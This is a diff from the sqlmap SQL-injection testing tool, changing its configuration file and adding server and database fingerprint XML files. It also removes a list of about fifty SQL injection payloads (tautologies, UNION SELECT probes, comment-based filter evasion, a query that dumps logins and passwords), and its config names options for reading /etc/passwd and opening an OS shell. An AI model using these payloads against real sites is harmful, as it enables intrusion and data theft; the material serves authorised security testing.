# to be used in the inference SQL injection attack.
# Valid: integer
# Default: 1
threads = 1
# Delay in seconds between each HTTP request.
# Valid: float
# Default: 0
delay = 0
# Seconds to wait before timeout connection.
# Valid: float
# Default: 30
timeout = 30
[Injection]
# String to match in page when the query is valid, only needed if the
# page content dynamically changes at each refresh, consequently changing
# the MD5 of the page which is the method used by default to determine
# if a query was valid or not. Read the documentation for further
# details.
string =
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
# parameters and HTTP User-Agent are tested by sqlmap.
testParameter =
# Force back-end DBMS to this value. If this option is set, the back-end
# DBMS identification process will be minimized as needed.
# If not set, sqlmap will detect back-end DBMS automatically by default.
# Valid: mssql, mysql, oracle, pgsql
# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql
dbms =
# Injection payload prefix string
prefix =
# Injection payload postfix string
postfix =
# String to match within the page content when the query is valid, only
# needed if the page content dynamically changes at each refresh,
# consequently changing the MD5 hash of the page which is the method used
# by default to determine if a query was valid or not. Refer to the user's
# manual for further details.
string =
# Regular expression to match within the page content when the query is
# valid, only needed if the needed if the page content dynamically changes
# at each refresh, consequently changing the MD5 hash of the page which is
# the method used by default to determine if a query was valid or not.
# Refer to the user's manual for further details.
# Valid: regular expression with Python syntax
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
regexp =
# String to be excluded by the page content before calculating the page
# MD5 hash
eString =
# Regular expression matches to be excluded by the page content before
# calculating the page MD5 hash
# Valid: regular expression with Python syntax
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
eRegexp =
[Techniques]
# Test for stacked queries (multiple statements) support.
# Valid: True or False
stackedTest = False
# Test for time based blind SQL injection.
# Valid: True or False
timeTest = False
# Test for UNION query (inband) SQL injection.
# Valid: True or False
unionTest = False
# Technique to test for UNION query SQL injection
# The possible techniques are by NULL bruteforcing (bf) or by ORDER BY
# clause (ob)
# Valid: NULL, OrderBy
# Default: NULL
uTech = NULL
# Use the UNION query (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
[Fingerprint]
@@ -98,6 +176,10 @@ getCurrentUser = False
# Valid: True or False
getCurrentDb = False
# Detect if the DBMS current user is DBA.
# Valid: True or False
isDba = False
# Enumerate back-end database management system users.
# Valid: True or False
getUsers = False
@@ -151,12 +233,12 @@ user =
excludeSysDbs = False
# First table entry to dump (cursor start)
# Valid: number
# Valid: integer
# Default: 0 (sqlmap will start to dump the table entries from the first)
limitStart = 0
# Last table entry to dump (cursor stop)
# Valid: number
# Valid: integer
# Default: 0 (sqlmap will detect the number of table entries and dump
# until the last)
limitStop = 0
@@ -173,7 +255,7 @@ sqlShell = False
[File system]
# Read a specific OS file content (only on MySQL).
# Examples: '/etc/passwd' or 'C:\boot.ini'
# Examples: /etc/passwd or C:\boot.ini
rFile =
# Write to a specific OS file (not yet available).
@@ -191,30 +273,21 @@ osShell = False
[Miscellaneous]
# Test for UNION SELECT (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
# Retrieve each query output length and calculate the estimated time of
# arrival in real time.
# Valid: True or False
eta = False
# Verbosity level.
# Valid values:
# 0: Silent
# 1: Show info messages
# Valid: integer between 0 and 5
# 0: Show only warning and error messages
# 1: Show also info messages
# 2: Show also debug messages
# 3: Show also HTTP requests
# 4: Show also HTTP responses headers
# 5: Show also HTTP responses page content
# Default: 0
verbose = 0
# Default: 1
verbose = 1
# Update sqlmap to the latest stable version.
# Valid: True or False

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -29,6 +29,13 @@ import sys
import time
import traceback
try:
import psyco
psyco.full()
psyco.profile()
except ImportError, _:
pass
from lib.controller.controller import start
from lib.core.common import banner
from lib.core.common import setPaths

View File

@@ -1,51 +0,0 @@
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
'||'6
(||6)
' OR 1=1--
OR 1=1
' OR '1'='1
; OR '1'='1'
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
' or 1=1--
" or 1=1--
' or 1=1 /*
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Admin' OR '
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
' having 1=1--
' having 1=1--
' group by userid having 1=1--
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3
' or username like char(37);
' union select * from users where login = char(114,111,111,116);
' union select
Password:*/=1--
UNI/**/ON SEL/**/ECT
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
'; EXEC ('SEL' + 'ECT US' + 'ER')
'/**/OR/**/1/**/=/**/1
' or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+&password=
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --

33
xml/banner/cookie.xml Normal file
View File

@@ -0,0 +1,33 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Set-Cookie2
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
-->
<root>
<regexp value="ASPSESSIONID">
<info technology="ASP" type="Windows" distrib="2000"/>
</regexp>
<regexp value="ASP\.NET_SessionId">
<info technology="ASP.NET" type="Windows" distrib="2003|2008"/>
</regexp>
<regexp value="JSESSIONID">
<info technology="JSP"/>
</regexp>
<regexp value="PHPSESSION">
<info technology="PHP"/>
</regexp>
<regexp value="Apache">
<info technology="Apache"/>
</regexp>
<regexp value="JServSessionId">
<info technology="Apache|JSP"/>
</regexp>
</root>

127
xml/banner/generic.xml Normal file
View File

@@ -0,0 +1,127 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Windows -->
<regexp value="(Microsoft|Windows|Win32)">
<info type="Windows"/>
</regexp>
<regexp value="Service Pack (\d)">
<info sp="1"/>
</regexp>
<regexp value="Microsoft.*7\.0">
<info type="Windows" distrib="Vista"/>
</regexp>
<regexp value="Microsoft.*6\.0">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Microsoft.*5\.2">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Microsoft.*5\.1">
<info type="Windows" distrib="XP"/>
</regexp>
<regexp value="Microsoft.*5\.0">
<info type="Windows" distrib="2000"/>
</regexp>
<regexp value="Microsoft.*4\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft.*3\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft.*2\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<!-- Linux -->
<regexp value="Linux">
<info type="Linux"/>
</regexp>
<regexp value="CentOS">
<info type="Linux" distrib="CentOS"/>
</regexp>
<regexp value="Cobalt">
<info type="Linux" distrib="Cobalt"/>
</regexp>
<regexp value="Conectiva">
<info type="Linux" distrib="Conectiva"/>
</regexp>
<regexp value="Debian">
<info type="Linux" distrib="Debian|Ubuntu"/>
</regexp>
<regexp value="Fedora">
<info type="Linux" distrib="Fedora"/>
</regexp>
<regexp value="Gentoo">
<info type="Linux" distrib="Gentoo"/>
</regexp>
<regexp value="Knoppix">
<info type="Linux" distrib="Knoppix"/>
</regexp>
<regexp value="Mandrake">
<info type="Linux" distrib="Mandrake"/>
</regexp>
<regexp value="Mandriva">
<info type="Linux" distrib="Mandriva"/>
</regexp>
<regexp value="Red[\-\_\ ]*Hat">
<info type="Linux" distrib="Red Hat"/>
</regexp>
<regexp value="Slackware">
<info type="Linux" distrib="Slackware"/>
</regexp>
<regexp value="SuSE">
<info type="Linux" distrib="SuSE"/>
</regexp>
<regexp value="Ubuntu">
<info type="Linux" distrib="Ubuntu"/>
</regexp>
<!-- Unices -->
<regexp value="FreeBSD">
<info type="FreeBSD"/>
</regexp>
<regexp value="NetBSD">
<info type="NetBSD"/>
</regexp>
<regexp value="OpenBSD">
<info type="OpenBSD"/>
</regexp>
<!-- Mac OSX -->
<regexp value="Mac[\-\_\ ]*OSX">
<info type="Mac OSX"/>
</regexp>
<regexp value="Darwin">
<info type="Mac OSX"/>
</regexp>
</root>

View File

@@ -1,12 +1,28 @@
<?xml version="1.0" ?>
<root>
<signatures release="2008">
<signature>
<version>
10.00.1779
</version>
<servicepack>
+Q958186
</servicepack>
</signature>
<signature>
<version>
10.00.1771
</version>
<servicepack>
+Q958611
</servicepack>
</signature>
<signature>
<version>
10.00.1750
</version>
<servicepack>
0+Q956718
+Q956718
</servicepack>
</signature>
<signature>
@@ -43,6 +59,38 @@
</signature>
</signatures>
<signatures release="2005">
<signature>
<version>
9.00.4207
</version>
<servicepack>
3+Q959195
</servicepack>
</signature>
<signature>
<version>
9.00.4035
</version>
<servicepack>
+3
</servicepack>
</signature>
<signature>
<version>
9.00.3301
</version>
<servicepack>
2+Q958735
</servicepack>
</signature>
<signature>
<version>
9.00.3295
</version>
<servicepack>
2+Q959132
</servicepack>
</signature>
<signature>
<version>
9.00.3294
@@ -51,6 +99,14 @@
2+Q956854
</servicepack>
</signature>
<signature>
<version>
9.00.3291
</version>
<servicepack>
2+Q956889
</servicepack>
</signature>
<signature>
<version>
9.00.3282
@@ -67,6 +123,14 @@
2+Q954607
</servicepack>
</signature>
<signature>
<version>
9.00.3261
</version>
<servicepack>
2+Q955754
</servicepack>
</signature>
<signature>
<version>
9.00.3260

42
xml/banner/mysql.xml Normal file
View File

@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="^([\d\.\-]+)[\-\_\ ].*nt$">
<info dbms_version="1" type="Windows"/>
</regexp>
<!-- Debian -->
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+potato">
<info dbms_version="1" type="Linux" distrib="Debian" release="2.1" codename="potato"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+woody">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+sarge">
<info dbms_version="1" type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+etch">
<info dbms_version="1" type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
<info dbms_version="1" type="Linux" distrib="Debian" codename="unstable"/>
</regexp>
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+testing">
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
</regexp>
<!-- Ubuntu -->
<regexp value="^(5\.0\.67)-0ubuntu6">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

7
xml/banner/oracle.xml Normal file
View File

@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="^Oracle\s+.*Release\s+([\d\.]+)\s+">
<info dbms_version="1"/>
</regexp>
</root>

25
xml/banner/postgresql.xml Normal file
View File

@@ -0,0 +1,25 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<regexp value="PostgreSQL\s+([\w\.]+)">
<info dbms_version="1"/>
</regexp>
<!-- Windows -->
<regexp value="Visual C\+\+">
<info type="Windows"/>
</regexp>
<regexp value="mingw([\d]+)">
<info type="Windows"/>
</regexp>
<!-- Ubuntu -->
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
</regexp>
<regexp value="PostgreSQL\s+(8\.3\.5)\s+on\s+.*?\s+\(Ubuntu 4\.3\.2-1ubuntu11\)">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

406
xml/banner/server.xml Normal file
View File

@@ -0,0 +1,406 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Server
* http://en.wikipedia.org
-->
<root>
<!-- Microsoft IIS -->
<regexp value="Microsoft-IIS/(7\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(6\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.1)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(5\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(4\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(3\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<regexp value="Microsoft-IIS/(2\.0)">
<info technology="Microsoft IIS" tech_version="1"/>
</regexp>
<!-- Apache -->
<regexp value="Apache$">
<info technology="Apache"/>
</regexp>
<regexp value="Apache/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<regexp value="Apache[\-\_\ ]AdvancedExtranetServer/([\w\.]+)">
<info technology="Apache" tech_version="1"/>
</regexp>
<!-- Apache: CentOS -->
<!-- TODO: add Centos 4.6, 4.7, 5.1 and 5.2 -->
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="3.7"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="4.3|4.4"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(CentOS\)">
<info type="Linux" distrib="CentOS" release="5"/>
</regexp>
<!-- Apache: Debian -->
<!-- TODO: add Debian testing, unstable and experimental -->
<regexp value="Apache/1\.0\.5 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.1" codename="buzz"/>
</regexp>
<regexp value="Apache/1\.1\.1 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.2" codename="rex"/>
</regexp>
<regexp value="Apache/1\.1\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="1.3" codename="bo"/>
</regexp>
<regexp value="Apache/1\.3\.0 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.0" codename="hamm"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\) Debian/GNU">
<info type="Linux" distrib="Debian" release="2.1" codename="slink"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) Debian\/GNU">
<info type="Linux" distrib="Debian" release="2.2" codename="potato"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.0" codename="woody"/>
</regexp>
<regexp value="Apache/1\.3\.33 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Debian GNU\/Linux\)">
<info type="Linux" distrib="Debian" release="3.1" codename="sarge"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Debian\)">
<info type="Linux" distrib="Debian" release="4.0" codename="etch" updated="True"/>
</regexp>
<!-- Apache: Fedora -->
<!-- TODO: add Fedora 8, 9 and 10 -->
<regexp value="Apache/2\.0\.47 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="1" codename="Yarrow" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang"/>
</regexp>
<regexp value="Apache/2\.0\.51 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="2" codename="Tettnang" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="3" codename="Heidelberg" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="4" codename="Stentz"/>
</regexp>
<regexp value="Apache/2\.2\.0 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux"/>
</regexp>
<regexp value="Apache/2\.2\.2 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="5" codename="Bordeaux" updated="True"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6" codename="Zod"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="7" codename="Moonshine"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="6|7" codename="Zod|Moonshine" updated="True"/>
</regexp>
<!-- Apache: Mandrake / Mandriva -->
<!-- TODO: add Mandriva 2007.1, 2008.0, 2008.1 and 2009.0 -->
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
<info type="Linux" distrib="Mandrake" release="6.0" codename="Venus"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\)\s+\(NetRevolution Advanced Server/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="6.1|7.0" codename="Helios|Air"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.12 \(NetRevolution/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="7.1" codename="Helium"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.14 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="7.2" codename="Odyssey"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.19 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="8.0" codename="Traktopel"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.20 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.1" codename="Vitamin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.23 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.2" codename="Bluebird"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.26 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.0" codename="Dolphin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.27 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.44 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.28 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.2" codename="FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.47 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1|9.2" codename="Bamboo|FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.29 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.48 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.31 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="10.1" codename="Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.50 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0|10.1" codename="Community|Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.53 \(Mandriva Linux/">
<info type="Linux" distrib="Mandrake" release="10.2" codename="Limited Edition 2005"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.54 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2006.0"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2007"/>
</regexp>
<!-- Apache: Red Hat -->
<!-- TODO: add Red Hat 5, 5.1, 5.2 and 5.3 -->
<regexp value="Apache/1\.2\.6 Red Hat">
<info type="Linux" distrib="Red Hat" release="5.1" codename="Manhattan"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="5.2" codename="Apollo"/>
</regexp>
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.0" codename="Hedwig"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.0" codename="Guinness"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
</regexp>
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 3" codename="Taroon"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 4" codename="Nahant"/>
</regexp>
<!-- Apache: SuSE -->
<!-- TODO: add SuSE 10.1, 10.2, 10.3 and 11.0 -->
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.1"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.2"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(SuSE/Linux\)">
<info technology="operating-system.type" type="str" value="Linux"/>
<info type="Linux" distrib="SuSE" release="6.4|7.0"/>
</regexp>
<regexp value="Apache/1\.3\.17 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.1"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.2"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="7.3"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.0"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/1\.3\.28 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/2\.0\.44 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/2\.0\.47 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.1"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.2"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.3"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="10.0"/>
</regexp>
<!-- Apache: Ubuntu -->
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="4.10" codename="Warty Warthog"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.04" codename="Hoary Hedgehog"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.10" codename="Breezy Badger"/>
</regexp>
<regexp value="Apache/2\.0\.55 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="6.06|6.10" codename="Dapper Drake|Edgy Eft"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.04" codename="Feisty Fawn"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.10" codename="Gutsy Gibbon"/>
</regexp>
<regexp value="Apache/2\.2\.8 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
</root>

21
xml/banner/servlet.xml Normal file
View File

@@ -0,0 +1,21 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
<root>
<regexp value="Tomcat( Web Server)*\/([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
<regexp value="Java[\-\_\/\ ]([\d\.]+)">
<info technology="Java" tech_version="1"/>
</regexp>
</root>

Some files were not shown because too many files have changed in this diff Show More